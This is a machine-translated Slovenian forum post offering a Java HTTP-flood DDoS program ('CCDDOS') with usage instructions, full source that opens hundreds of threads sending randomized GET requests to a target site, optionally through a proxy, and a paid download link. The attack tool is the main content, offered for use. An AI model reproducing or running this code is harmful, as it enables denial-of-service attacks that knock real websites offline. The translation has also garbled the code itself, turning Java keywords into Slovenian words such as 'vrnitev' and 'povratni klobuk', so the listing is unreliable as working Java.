Ta članek je zrcalni članek strojnega prevajanja, kliknite tukaj za skok na izvirni članek.

Pogled: 15524|Odgovoriti: 0

[Napitnine] Java različica D-DOS napadalnega programa

[Kopiraj povezavo]
Objavljeno na 1. 12. 2014 15:21:57 | | |
JAR koda
dDOS napad, ki ga izvaja Java.
Vendar pa ni nič drugačen od tradicionalnih dDos.
Ta programska oprema je DDOS napad na stran.
Kako uporabljati:
Java -jar ccddos.jar www.xxx.com 80 10/index.do uporabniško ime=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
uvoz java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
import java.nio.channels.SocketChannel;
import java.util.Iterator;
import java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Vector;

/**
* Demonske niti
*
* @author uprava
*
*/
Javni razredni test {
    zasebni String gostitelj, uri, param;
    vojaka v Int pristanišču;
    private final Vector<CCDDOSThread> v = novi Vector<CCDDOSThread>();
    zasebni InetSocketAddress isa;
    zasebni int threadsCount = 500; Število niti
    private Naključno r = novo Naključno();
    zasebni dolgi timeout = 5000l;

    /**
     * Odpri napad
     */
    public void start() {
        za (int i = 0; sem < threadsCount; i++) {
            CCDDOSThread t = novi CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Timer t = nov Timer();
        t.schedule(new TimerTask() {
            public void run() {
                int count = 0, timeout threads = 0;
                long ct = System.currentTimeMillis();
                za (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = ničla;
                        štetje++;
                    } če (ct - th.začne > timeout) {
                        Časovni iztek, zunanji konec
                        timeoutthreads++;
                        th.setCancle(pravi);
                        th.interrupt();
                        it.remove();
                        th = ničla;
                        štetje++;
                    }
                }
                če (šteje == 0) {
                    vrnitev;
                }
                System.out.println("Nit je bila zaprta:"+count+", kjer je časovna nit povezana:"
                        + timeout-threads);
                za (int i = 0; Štejem <; i++) {
                    CCDDOSThread th = novi CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println("Nit demonov se je začel:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        če (args.length < 6) {
            System.out.println("Navodila:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println(");
            System.exit(0);
        } sicer če (args.length >= 8) {
            Dogovorite se z agentom
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        test m = nov test();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = novi InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Napadalne niti
     *
     * @author Zhanghongbo
     *
     */
    class CCDDOSThread razširja Thread {
        zasebni boolean cancle = lažen;
        javni dolgi začetek = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        javni boolean isCancle() {
            povratni klobuk;
        }

        public void run() {
            long start = System.currentTimeMillis();
            Izbirnik izbire;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = resnično;
                    selector.close();
                    vrnitev;
                }

                sc.configureBlocking(false);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 & !cancle) {
                    if (System.currentTimeMillis() - začni > časovno omejitev) {
                        cancle = resnično;
                        prekini čakanje;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> it = readykey.iterator();
                    medtem ko (it.hasNext() & !cancle) {
                        if (System.currentTimeMillis() - začni > časovno omejitev) {
                            cancle = resnično;
                            prekini čakanje;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            String head = "GET " + uri + "?" + parameter
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Gostitelj: " + gostitelj
                                    + "\r\n" + "Povezava:close\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = resnično;
            }
        }
    }
}
[/mw_shl_code]

Končni izdelek in prenos izvorne kode: java ddos.zip (8.42 KB, Število prenosov: 0, Prodajna cena: 2 Grain MB)





Prejšnji:Pogovorimo se o največjem skrivnostnem 400G DDoS napadu v zgodovini
Naslednji:Pošljite iPhone 6, da se pogovori o različici brez artefaktnih razpok
Disclaimer:
Vsa programska oprema, programski materiali ali članki, ki jih izdaja Code Farmer Network, so namenjeni zgolj učnim in raziskovalnim namenom; Zgornja vsebina ne sme biti uporabljena v komercialne ali nezakonite namene, sicer uporabniki nosijo vse posledice. Informacije na tej strani prihajajo z interneta, spori glede avtorskih pravic pa nimajo nobene zveze s to stranjo. Zgornjo vsebino morate popolnoma izbrisati z računalnika v 24 urah po prenosu. Če vam je program všeč, podprite pristno programsko opremo, kupite registracijo in pridobite boljše pristne storitve. Če pride do kakršne koli kršitve, nas prosimo kontaktirajte po elektronski pošti.

Mail To:help@itsvse.com